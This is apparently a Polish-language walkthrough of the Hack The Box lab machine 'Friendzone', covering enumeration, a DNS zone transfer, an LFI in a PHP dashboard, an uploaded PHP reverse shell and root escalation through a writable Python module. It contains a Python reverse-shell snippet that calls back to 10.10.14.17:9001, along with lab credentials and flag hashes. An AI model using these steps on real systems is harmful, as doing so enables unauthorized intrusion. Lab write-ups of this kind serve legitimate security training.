Friendzone - 22.09.2021
NMap
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
| 256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_ 256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp open domain ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open ssl/http Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after: 2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_ http/1.1
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: friendzone
| NetBIOS computer name: FRIENDZONE\x00
| Domain name: \x00
| FQDN: friendzone
|_ System time: 2021-09-22T13:09:33+03:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-09-22T10:09:33
|_ start_date: N/A
FeroxBuster
403 11l 32w 291c http://10.10.10.123/.hta
403 11l 32w 296c http://10.10.10.123/.htaccess
403 11l 32w 296c http://10.10.10.123/.htpasswd
200 12l 31w 324c http://10.10.10.123/index.html
200 1l 2w 13c http://10.10.10.123/robots.txt
403 11l 32w 300c http://10.10.10.123/server-status
301 9l 28w 316c http://10.10.10.123/wordpress
403 11l 32w 306c http://10.10.10.123/wordpress/.htaccess
403 11l 32w 306c http://10.10.10.123/wordpress/.htpasswd
403 11l 32w 301c http://10.10.10.123/wordpress/.hta
smbclient
┌──(kali㉿kali)-[~/htb/horizontall]
└─$ smbclient -N -L //10.10.10.123 130 ⨯
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
Files Disk FriendZone Samba Server Files /etc/Files
general Disk FriendZone Samba Server Files
Development Disk FriendZone Samba Server Files
IPC$ IPC IPC Service (FriendZone server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available
smbclient
┌──(kali㉿kali)-[~/htb/horizontall]
└─$ smbclient -N //10.10.10.123/general
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Jan 16 21:10:51 2019
.. D 0 Wed Jan 23 22:51:02 2019
creds.txt N 57 Wed Oct 10 01:52:42 2018
creds.txt
creds for the admin THING:
admin:WORKWORKHhallelujah@#
Strona główna http://friendzoneportal.red/
Strona główna https://friendzoneportal.red/
Strona główna https://friendzone.red
/js/js
Enumeracja DNS
gobuster vhost -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u wszystkieurle
Found: uploads.friendzone.red (Status: 200) [Size: 391]
Found: admin.friendzoneportal.red (Status: 200) [Size: 379]
Lepszy tutaj będzie dig
dig
dig axfr @10.10.10.123 friendzone.red
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzone.red. 604800 IN AAAA ::1
friendzone.red. 604800 IN NS localhost.
friendzone.red. 604800 IN A 127.0.0.1
administrator1.friendzone.red. 604800 IN A 127.0.0.1
hr.friendzone.red. 604800 IN A 127.0.0.1
uploads.friendzone.red. 604800 IN A 127.0.0.1
friendzone.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
dig axfr @10.10.10.123 friendzoneportal.red
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
friendzoneportal.red. 604800 IN AAAA ::1
friendzoneportal.red. 604800 IN NS localhost.
friendzoneportal.red. 604800 IN A 127.0.0.1
admin.friendzoneportal.red. 604800 IN A 127.0.0.1
files.friendzoneportal.red. 604800 IN A 127.0.0.1
imports.friendzoneportal.red. 604800 IN A 127.0.0.1
vpn.friendzoneportal.red. 604800 IN A 127.0.0.1
friendzoneportal.red. 604800 IN SOA localhost. root.localhost. 2 604800 86400 2419200 604800
Upload site
Admin site
Administrator1 site
Test
admin:WORKWORKHhallelujah@#
php://filter/convert.base64-encode/resource=dashboard
<?php
//echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
//echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
echo "<title>FriendZone Admin !</title>";
$auth = $_COOKIE["FriendZoneAuth"];
if ($auth === "e7749d0f4b4da5d03e6e9196fd1d18f1"){
echo "<br><br><br>";
echo "<center><h2>Smart photo script for friendzone corp !</h2></center>";
echo "<center><h3>* Note : we are dealing with a beginner php developer and the application is not tested yet !</h3></center>";
if(!isset($_GET["image_id"])){
echo "<br><br>";
echo "<center><p>image_name param is missed !</p></center>";
echo "<center><p>please enter it to show the image</p></center>";
echo "<center><p>default is image_id=a.jpg&pagename=timestamp</p></center>";
}else{
$image = $_GET["image_id"];
echo "<center><img src='images/$image'></center>";
echo "<center><h1>Something went worng ! , the script include wrong param !</h1></center>";
include($_GET["pagename"].".php");
//echo $_GET["pagename"];
}
}else{
echo "<center><p>You can't see the content ! , please login !</center></p>";
}
?>
login.php
<?php
$username = $_POST["username"];
$password = $_POST["password"];
//echo $username === "admin";
//echo strcmp($username,"admin");
if ($username==="admin" and $password==="WORKWORKHhallelujah@#"){
setcookie("FriendZoneAuth", "e7749d0f4b4da5d03e6e9196fd1d18f1", time() + (86400 * 30)); // 86400 = 1 day
echo "Login Done ! visit /dashboard.php";
}else{
echo "Wrong !";
}
?>
Nie ma tutaj nic odkrywczego, jedyne co wiadomo to, że:
include($_GET["pagename"].".php");
Powoduje dopisanie do pliku podczas LFI w url koncówkę .php, zatem próba dostania się np. przez ../../../../../../etc/passwd jest bezużyteczna
Jednak w SMB mamy folder Development
, który ma uprawnienia write, można spróbować zuploadować reverse-shell.php i uruchomić go jakoś przez przeglądarkę.
curl --upload-file /home/kali/htb/horizontall/www/shell.php -u 'admin' smb://10.10.10.123/Development/
curl wspiera upload na smb, jednak trzeba pamiętać o zakończeniu /
, inaczej będzie błąd.
┌──(kali㉿kali)-[~/htb/horizontall/www]
└─$ smbclient //10.10.10.123/Development -u 'admin' 1 ⨯
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Wed Sep 22 21:27:45 2021
.. D 0 Wed Jan 23 22:51:02 2019
shell.php A 9285 Wed Sep 22 21:27:45 2021
Jak widać skrypt siedzi w folderze Development
Domyślna ścieżka folderów w sambie to
zatem jest szansa, że folder Development
jest pod scieżką /etc/Development
Sprawdzenie
https://administrator1.friendzone.red/dashboard.php?image_id=a.jpg&pagename=/etc/Development/shell
Wykonanie polecenia wywołało reverse-shell
www-data -> user
Pod /var/www
znajdował się plik mysql_data.conf
cat mysql_data.conf
for development process this is the mysql creds for user friend
db_user=friend
db_pass=Agpyu12!0.213$
db_name=FZ
user.txt
a9ed20acecd6c5b6b52f474e15ae9a11
user -> root
os.py ma pełne uprawnienia -> można modyfikować skrypt
-rwxrwxrwx 1 root root 25910 Jan 15 2019 os.py
pspy64
Potencjalnie ciekawe procesy, które warto przeanalizować
reporter.py
#!/usr/bin/python
import os
to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"
print "[+] Trying to send email to %s"%to_address
#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''
#os.system(command)
# I need to edit the script later
# Sam ~ python developer
Skrypt reporter.py
importuje os
, zatem możemy umieścić tam na końcu pliku nasz reverse shell
https://medium.com/geekculture/breaking-down-a-python-reverse-shell-one-liner-752041733e5f
Wklejamy na koniec pliku, usuwamy os
przy os
.dup2(s.fileno(), 0)
import socket
import subprocess
import os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.14.17", 9001))
dup2(s.fileno(), 0)
dup2(s.fileno(), 1)
dup2(s.fileno(), 2)
p = subprocess.call(["/bin/sh", "-i"])
i po nasłuchaniu na porcie 9001 otrzymujemy shell
root.txt
b0e6c60b82cf96e9855ac1656a9e90c7